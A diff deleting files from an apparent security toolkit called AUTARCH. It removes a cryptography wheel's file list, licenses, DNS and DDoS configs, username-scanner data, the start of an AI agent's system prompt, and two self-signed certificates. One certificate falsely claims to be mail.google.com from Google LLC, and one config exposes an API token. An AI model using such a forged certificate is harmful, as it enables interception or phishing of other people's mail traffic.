cryptography/hazmat/primitives/cmac.py,sha256=sz_s6H_cYnOvx-VNWdIKhRhe3Ymp8z8J0D3CBqOX3gg,338
|
|
||||||
cryptography/hazmat/primitives/constant_time.py,sha256=xdunWT0nf8OvKdcqUhhlFKayGp4_PgVJRU2W1wLSr_A,422
|
|
||||||
cryptography/hazmat/primitives/hashes.py,sha256=M8BrlKB3U6DEtHvWTV5VRjpteHv1kS3Zxm_Bsk04cr8,5184
|
|
||||||
cryptography/hazmat/primitives/hmac.py,sha256=RpB3z9z5skirCQrm7zQbtnp9pLMnAjrlTUvKqF5aDDc,423
|
|
||||||
cryptography/hazmat/primitives/kdf/__init__.py,sha256=4XibZnrYq4hh5xBjWiIXzaYW6FKx8hPbVaa_cB9zS64,750
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/argon2.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/concatkdf.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/hkdf.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/kbkdf.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/pbkdf2.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/scrypt.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/kdf/argon2.py,sha256=UFDNXG0v-rw3DqAQTB1UQAsQC2M5Ejg0k_6OCyhLKus,460
|
|
||||||
cryptography/hazmat/primitives/kdf/concatkdf.py,sha256=Ua8KoLXXnzgsrAUmHpyKymaPt8aPRP0EHEaBz7QCQ9I,3737
|
|
||||||
cryptography/hazmat/primitives/kdf/hkdf.py,sha256=M0lAEfRoc4kpp4-nwDj9yB-vNZukIOYEQrUlWsBNn9o,543
|
|
||||||
cryptography/hazmat/primitives/kdf/kbkdf.py,sha256=oZepvo4evhKkkJQWRDwaPoIbyTaFmDc5NPimxg6lfKg,9165
|
|
||||||
cryptography/hazmat/primitives/kdf/pbkdf2.py,sha256=1WIwhELR0w8ztTpTu8BrFiYWmK3hUfJq08I79TxwieE,1957
|
|
||||||
cryptography/hazmat/primitives/kdf/scrypt.py,sha256=XyWUdUUmhuI9V6TqAPOvujCSMGv1XQdg0a21IWCmO-U,590
|
|
||||||
cryptography/hazmat/primitives/kdf/x963kdf.py,sha256=zLTcF665QFvXX2f8TS7fmBZTteXpFjKahzfjjQcCJyw,1999
|
|
||||||
cryptography/hazmat/primitives/keywrap.py,sha256=XV4Pj2fqSeD-RqZVvY2cA3j5_7RwJSFygYuLfk2ujCo,5650
|
|
||||||
cryptography/hazmat/primitives/padding.py,sha256=QT-U-NvV2eQGO1wVPbDiNGNSc9keRDS-ig5cQOrLz0E,1865
|
|
||||||
cryptography/hazmat/primitives/poly1305.py,sha256=P5EPQV-RB_FJPahpg01u0Ts4S_PnAmsroxIGXbGeRRo,355
|
|
||||||
cryptography/hazmat/primitives/serialization/__init__.py,sha256=Q7uTgDlt7n3WfsMT6jYwutC6DIg_7SEeoAm1GHZ5B5E,1705
|
|
||||||
cryptography/hazmat/primitives/serialization/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/serialization/__pycache__/base.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/serialization/__pycache__/pkcs12.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/serialization/__pycache__/pkcs7.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/serialization/__pycache__/ssh.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/serialization/base.py,sha256=ikq5MJIwp_oUnjiaBco_PmQwOTYuGi-XkYUYHKy8Vo0,615
|
|
||||||
cryptography/hazmat/primitives/serialization/pkcs12.py,sha256=mS9cFNG4afzvseoc5e1MWoY2VskfL8N8Y_OFjl67luY,5104
|
|
||||||
cryptography/hazmat/primitives/serialization/pkcs7.py,sha256=5OR_Tkysxaprn4FegvJIfbep9rJ9wok6FLWvWwQ5-Mg,13943
|
|
||||||
cryptography/hazmat/primitives/serialization/ssh.py,sha256=hPV5obFznz0QhFfXFPOeQ8y6MsurA0xVMQiLnLESEs8,53700
|
|
||||||
cryptography/hazmat/primitives/twofactor/__init__.py,sha256=tmMZGB-g4IU1r7lIFqASU019zr0uPp_wEBYcwdDCKCA,258
|
|
||||||
cryptography/hazmat/primitives/twofactor/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/twofactor/__pycache__/hotp.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/twofactor/__pycache__/totp.cpython-313.pyc,,
|
|
||||||
cryptography/hazmat/primitives/twofactor/hotp.py,sha256=ivZo5BrcCGWLsqql4nZV0XXCjyGPi_iHfDFltGlOJwk,3256
|
|
||||||
cryptography/hazmat/primitives/twofactor/totp.py,sha256=m5LPpRL00kp4zY8gTjr55Hfz9aMlPS53kHmVkSQCmdY,1652
|
|
||||||
cryptography/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
|
||||||
cryptography/utils.py,sha256=nFHkPQZycOQGeBtBRkWSA4WjOHFo7pwummQt-PPSkZc,4349
|
|
||||||
cryptography/x509/__init__.py,sha256=xloN0swseNx-m2WFZmCA17gOoxQWqeU82UVjEdJBePQ,8257
|
|
||||||
cryptography/x509/__pycache__/__init__.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/base.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/certificate_transparency.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/extensions.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/general_name.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/name.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/ocsp.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/oid.cpython-313.pyc,,
|
|
||||||
cryptography/x509/__pycache__/verification.cpython-313.pyc,,
|
|
||||||
cryptography/x509/base.py,sha256=OrmTw3y8B6AE_nGXQPN8x9kq-d7rDWeH13gCq6T6D6U,27997
|
|
||||||
cryptography/x509/certificate_transparency.py,sha256=JqoOIDhlwInrYMFW6IFn77WJ0viF-PB_rlZV3vs9MYc,797
|
|
||||||
cryptography/x509/extensions.py,sha256=QxYrqR6SF1qzR9ZraP8wDiIczlEVlAFuwDRVcltB6Tk,77724
|
|
||||||
cryptography/x509/general_name.py,sha256=sP_rV11Qlpsk4x3XXGJY_Mv0Q_s9dtjeLckHsjpLQoQ,7836
|
|
||||||
cryptography/x509/name.py,sha256=ty0_xf0LnHwZAdEf-d8FLO1K4hGqx_7DsD3CHwoLJiY,15101
|
|
||||||
cryptography/x509/ocsp.py,sha256=Yey6NdFV1MPjop24Mj_VenjEpg3kUaMopSWOK0AbeBs,12699
|
|
||||||
cryptography/x509/oid.py,sha256=BUzgXXGVWilkBkdKPTm9R4qElE9gAGHgdYPMZAp7PJo,931
|
|
||||||
cryptography/x509/verification.py,sha256=gR2C2c-XZQtblZhT5T5vjSKOtCb74ef2alPVmEcwFlM,958
|
|
||||||
@@ -1,4 +0,0 @@
|
|||||||
Wheel-Version: 1.0
|
|
||||||
Generator: maturin (1.9.4)
|
|
||||||
Root-Is-Purelib: false
|
|
||||||
Tag: cp311-abi3-win_amd64
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
This software is made available under the terms of *either* of the licenses
|
|
||||||
found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made
|
|
||||||
under the terms of *both* these licenses.
|
|
||||||
@@ -1,202 +0,0 @@
|
|||||||
|
|
||||||
Apache License
|
|
||||||
Version 2.0, January 2004
|
|
||||||
https://www.apache.org/licenses/
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
||||||
|
|
||||||
1. Definitions.
|
|
||||||
|
|
||||||
"License" shall mean the terms and conditions for use, reproduction,
|
|
||||||
and distribution as defined by Sections 1 through 9 of this document.
|
|
||||||
|
|
||||||
"Licensor" shall mean the copyright owner or entity authorized by
|
|
||||||
the copyright owner that is granting the License.
|
|
||||||
|
|
||||||
"Legal Entity" shall mean the union of the acting entity and all
|
|
||||||
other entities that control, are controlled by, or are under common
|
|
||||||
control with that entity. For the purposes of this definition,
|
|
||||||
"control" means (i) the power, direct or indirect, to cause the
|
|
||||||
direction or management of such entity, whether by contract or
|
|
||||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
||||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
||||||
|
|
||||||
"You" (or "Your") shall mean an individual or Legal Entity
|
|
||||||
exercising permissions granted by this License.
|
|
||||||
|
|
||||||
"Source" form shall mean the preferred form for making modifications,
|
|
||||||
including but not limited to software source code, documentation
|
|
||||||
source, and configuration files.
|
|
||||||
|
|
||||||
"Object" form shall mean any form resulting from mechanical
|
|
||||||
transformation or translation of a Source form, including but
|
|
||||||
not limited to compiled object code, generated documentation,
|
|
||||||
and conversions to other media types.
|
|
||||||
|
|
||||||
"Work" shall mean the work of authorship, whether in Source or
|
|
||||||
Object form, made available under the License, as indicated by a
|
|
||||||
copyright notice that is included in or attached to the work
|
|
||||||
(an example is provided in the Appendix below).
|
|
||||||
|
|
||||||
"Derivative Works" shall mean any work, whether in Source or Object
|
|
||||||
form, that is based on (or derived from) the Work and for which the
|
|
||||||
editorial revisions, annotations, elaborations, or other modifications
|
|
||||||
represent, as a whole, an original work of authorship. For the purposes
|
|
||||||
of this License, Derivative Works shall not include works that remain
|
|
||||||
separable from, or merely link (or bind by name) to the interfaces of,
|
|
||||||
the Work and Derivative Works thereof.
|
|
||||||
|
|
||||||
"Contribution" shall mean any work of authorship, including
|
|
||||||
the original version of the Work and any modifications or additions
|
|
||||||
to that Work or Derivative Works thereof, that is intentionally
|
|
||||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
||||||
or by an individual or Legal Entity authorized to submit on behalf of
|
|
||||||
the copyright owner. For the purposes of this definition, "submitted"
|
|
||||||
means any form of electronic, verbal, or written communication sent
|
|
||||||
to the Licensor or its representatives, including but not limited to
|
|
||||||
communication on electronic mailing lists, source code control systems,
|
|
||||||
and issue tracking systems that are managed by, or on behalf of, the
|
|
||||||
Licensor for the purpose of discussing and improving the Work, but
|
|
||||||
excluding communication that is conspicuously marked or otherwise
|
|
||||||
designated in writing by the copyright owner as "Not a Contribution."
|
|
||||||
|
|
||||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
||||||
on behalf of whom a Contribution has been received by Licensor and
|
|
||||||
subsequently incorporated within the Work.
|
|
||||||
|
|
||||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
copyright license to reproduce, prepare Derivative Works of,
|
|
||||||
publicly display, publicly perform, sublicense, and distribute the
|
|
||||||
Work and such Derivative Works in Source or Object form.
|
|
||||||
|
|
||||||
3. Grant of Patent License. Subject to the terms and conditions of
|
|
||||||
this License, each Contributor hereby grants to You a perpetual,
|
|
||||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
||||||
(except as stated in this section) patent license to make, have made,
|
|
||||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
||||||
where such license applies only to those patent claims licensable
|
|
||||||
by such Contributor that are necessarily infringed by their
|
|
||||||
Contribution(s) alone or by combination of their Contribution(s)
|
|
||||||
with the Work to which such Contribution(s) was submitted. If You
|
|
||||||
institute patent litigation against any entity (including a
|
|
||||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
||||||
or a Contribution incorporated within the Work constitutes direct
|
|
||||||
or contributory patent infringement, then any patent licenses
|
|
||||||
granted to You under this License for that Work shall terminate
|
|
||||||
as of the date such litigation is filed.
|
|
||||||
|
|
||||||
4. Redistribution. You may reproduce and distribute copies of the
|
|
||||||
Work or Derivative Works thereof in any medium, with or without
|
|
||||||
modifications, and in Source or Object form, provided that You
|
|
||||||
meet the following conditions:
|
|
||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright [yyyy] [name of copyright owner]
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
https://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
@@ -1,27 +0,0 @@
|
|||||||
Copyright (c) Individual contributors.
|
|
||||||
All rights reserved.
|
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
|
||||||
modification, are permitted provided that the following conditions are met:
|
|
||||||
|
|
||||||
1. Redistributions of source code must retain the above copyright notice,
|
|
||||||
this list of conditions and the following disclaimer.
|
|
||||||
|
|
||||||
2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
notice, this list of conditions and the following disclaimer in the
|
|
||||||
documentation and/or other materials provided with the distribution.
|
|
||||||
|
|
||||||
3. Neither the name of PyCA Cryptography nor the names of its contributors
|
|
||||||
may be used to endorse or promote products derived from this software
|
|
||||||
without specific prior written permission.
|
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
|
||||||
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
|
||||||
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
|
||||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
|
||||||
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
|
||||||
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
|
||||||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
|
||||||
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
||||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
# AUTARCH Adult Site Scanner - Bulk Import File
|
|
||||||
# Add one domain per line (without http:// or https://)
|
|
||||||
# Lines starting with # are comments
|
|
||||||
#
|
|
||||||
# Example:
|
|
||||||
# example.com
|
|
||||||
# another-site.net
|
|
||||||
# subdomain.site.org
|
|
||||||
#
|
|
||||||
# After adding domains, run Bulk Import [B] again
|
|
||||||
# and provide a test username that exists on these sites.
|
|
||||||
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
{
|
|
||||||
"active": true,
|
|
||||||
"tier": 2,
|
|
||||||
"protections": {
|
|
||||||
"private_dns": "adguard",
|
|
||||||
"ad_opt_out": true,
|
|
||||||
"location_accuracy": true,
|
|
||||||
"diagnostics": true
|
|
||||||
},
|
|
||||||
"activated_at": "2026-02-21T02:55:28.439016"
|
|
||||||
}
|
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,19 +0,0 @@
|
|||||||
-----BEGIN CERTIFICATE-----
|
|
||||||
MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL
|
|
||||||
BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy
|
|
||||||
MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO
|
|
||||||
BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5
|
|
||||||
2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L
|
|
||||||
LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o
|
|
||||||
DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp
|
|
||||||
Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW
|
|
||||||
a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o
|
|
||||||
OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD
|
|
||||||
VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB
|
|
||||||
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg
|
|
||||||
DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41
|
|
||||||
XLq4WdHBeimwWIuZl+pKKvXcQUHUkK4epJFrt6mj0onExNSDNI4i7Xk+XnMVIu35
|
|
||||||
VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1
|
|
||||||
U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB
|
|
||||||
6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm
|
|
||||||
-----END CERTIFICATE-----
|
|
||||||
@@ -1,20 +0,0 @@
|
|||||||
-----BEGIN CERTIFICATE-----
|
|
||||||
MIIDWTCCAkGgAwIBAgIUOzmq7jW+wmCJdR9vdQNaC7/DJCwwDQYJKoZIhvcNAQEL
|
|
||||||
BQAwPDEYMBYGA1UEAwwPbWFpbC5nb29nbGUuY29tMRMwEQYDVQQKDApHb29nbGUg
|
|
||||||
TExDMQswCQYDVQQGEwJVUzAeFw0yNjAzMDMxMjA2MDFaFw0yNzAzMDMxMjA2MDFa
|
|
||||||
MDwxGDAWBgNVBAMMD21haWwuZ29vZ2xlLmNvbTETMBEGA1UECgwKR29vZ2xlIExM
|
|
||||||
QzELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCO
|
|
||||||
dJygnzih+j44Z7O08n8lWfIpkEBFQtLeoWWbUhi66uIGnISw0x41LxQRSa0pM/cK
|
|
||||||
1dkQV9olBxOcmFY6XaT8YP7AXt5NkvH0Y/3vE2JHRJpxw0W8ug2tX4pwWCXMkJn2
|
|
||||||
/Ih2d/VBzDLKp4UK+KTse+2qrFRsvReoOuWzXBqpLC2Ch4pvz1skmjA/hsH7OiWx
|
|
||||||
ADeBrtphh+1vHhMM27x6D0i3K0tSvhoZBamjXt7qzjPtPGj7dXlHB+S6LkAJC5pF
|
|
||||||
vL5GYTc5gSceoUzgBFWVVfLP2TYYyDpss/LFnWnvWMqqrvsW8WNaMmHeOI9RA+Q+
|
|
||||||
rcOjxi7VwDmjm6iwvWFNAgMBAAGjUzBRMB0GA1UdDgQWBBQzYwznwTj7ZM89NikD
|
|
||||||
ty1B33oAlDAfBgNVHSMEGDAWgBQzYwznwTj7ZM89NikDty1B33oAlDAPBgNVHRMB
|
|
||||||
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBhp5GxpRz0lw4uRhJvw3ewhPX6
|
|
||||||
UHBnWqMb3g4e3zc7RVWqcN4gj9j4ZTFoJxOs2Hw+VfO1i+x3/f4CSxmFrd6FcqNl
|
|
||||||
B7rRl1+9zup6Me2EQ+XM6mS4Xwf6gmjSvetpcpJAk42c52JdiXq29zZgAPG9n7iz
|
|
||||||
DrHN70wsB/xGbA2XqcwsOuy3uoBR3TSj9ka3gzrRC1JkP0phcKxlxUYigWaBB/uH
|
|
||||||
pl5APHqN5fvPyXkiTdX0YQpnRGONm+aMO/LUutIZj4dghQdpJBdDQgv7r3MZl5Z5
|
|
||||||
Q1UWqnkFwgO4/sjd7yU7u7DODV5/QIzJ9BWRyhIOXiTArU1+M80SP79WJHKa
|
|
||||||
-----END CERTIFICATE-----
|
|
||||||
Binary file not shown.
@@ -1,8 +0,0 @@
|
|||||||
{
|
|
||||||
"enabled": false,
|
|
||||||
"auto_block_top_talkers": true,
|
|
||||||
"auto_enable_syn_cookies": true,
|
|
||||||
"connection_threshold": 100,
|
|
||||||
"syn_threshold": 50,
|
|
||||||
"updated": "2026-03-02T23:30:44.437461"
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
{
|
|
||||||
"listen_dns": "10.0.0.56:53",
|
|
||||||
"listen_api": "127.0.0.1:5380",
|
|
||||||
"api_token": "5ed79350fed2490d2aca6f3b29776365",
|
|
||||||
"upstream": [],
|
|
||||||
"cache_ttl": 300,
|
|
||||||
"zones_dir": "C:\\she\\autarch\\data\\dns\\zones",
|
|
||||||
"dnssec_keys_dir": "C:\\she\\autarch\\data\\dns\\keys",
|
|
||||||
"log_queries": true
|
|
||||||
}
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
{
|
|
||||||
"domain": "autarch.local",
|
|
||||||
"soa": {
|
|
||||||
"primary_ns": "ns1.autarch.local",
|
|
||||||
"admin_email": "admin.autarch.local",
|
|
||||||
"serial": 1772537115,
|
|
||||||
"refresh": 3600,
|
|
||||||
"retry": 600,
|
|
||||||
"expire": 86400,
|
|
||||||
"min_ttl": 300
|
|
||||||
},
|
|
||||||
"records": [
|
|
||||||
{
|
|
||||||
"id": "ns1",
|
|
||||||
"type": "NS",
|
|
||||||
"name": "autarch.local.",
|
|
||||||
"value": "ns1.autarch.local.",
|
|
||||||
"ttl": 3600
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "mx1",
|
|
||||||
"type": "MX",
|
|
||||||
"name": "autarch.local.",
|
|
||||||
"value": "mx.autarch.local.",
|
|
||||||
"ttl": 3600,
|
|
||||||
"priority": 10
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "spf1",
|
|
||||||
"type": "TXT",
|
|
||||||
"name": "autarch.local.",
|
|
||||||
"value": "v=spf1 ip4:127.0.0.1 -all",
|
|
||||||
"ttl": 3600
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "dmarc1",
|
|
||||||
"type": "TXT",
|
|
||||||
"name": "_dmarc.autarch.local.",
|
|
||||||
"value": "v=DMARC1; p=none; rua=mailto:dmarc@autarch.local",
|
|
||||||
"ttl": 3600
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"id": "r1772537722879235900",
|
|
||||||
"type": "A",
|
|
||||||
"name": "https://autarch.local",
|
|
||||||
"value": "10.0.0.56:8181",
|
|
||||||
"ttl": 300
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"dnssec": true,
|
|
||||||
"created_at": "2026-03-03T11:25:07Z",
|
|
||||||
"updated_at": "2026-03-03T12:24:00Z"
|
|
||||||
}
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
Site,URL,Category,Status,Confidence
|
|
||||||
GitHub,https://github.com/test,,good,85
|
|
||||||
|
@@ -1,13 +0,0 @@
|
|||||||
{
|
|
||||||
"query": "testuser",
|
|
||||||
"exported": "2026-02-14T04:18:34.669640",
|
|
||||||
"total_results": 1,
|
|
||||||
"results": [
|
|
||||||
{
|
|
||||||
"name": "GitHub",
|
|
||||||
"url": "https://github.com/test",
|
|
||||||
"status": "good",
|
|
||||||
"rate": 85
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
@@ -1,98 +0,0 @@
|
|||||||
You are Hal, the AI agent powering Project AUTARCH — an autonomous security platform built by darkHal Security Group.
|
|
||||||
|
|
||||||
## Your Capabilities
|
|
||||||
You can read files, write files, execute shell commands, search the codebase, and create new AUTARCH modules on demand. When a user asks you to build a tool or module, you build it.
|
|
||||||
|
|
||||||
## AUTARCH Codebase Structure
|
|
||||||
- `modules/` — Plugin modules (Python files). Each one is a standalone tool.
|
|
||||||
- `core/` — Framework internals (llm.py, agent.py, tools.py, config.py, wireshark.py, etc.)
|
|
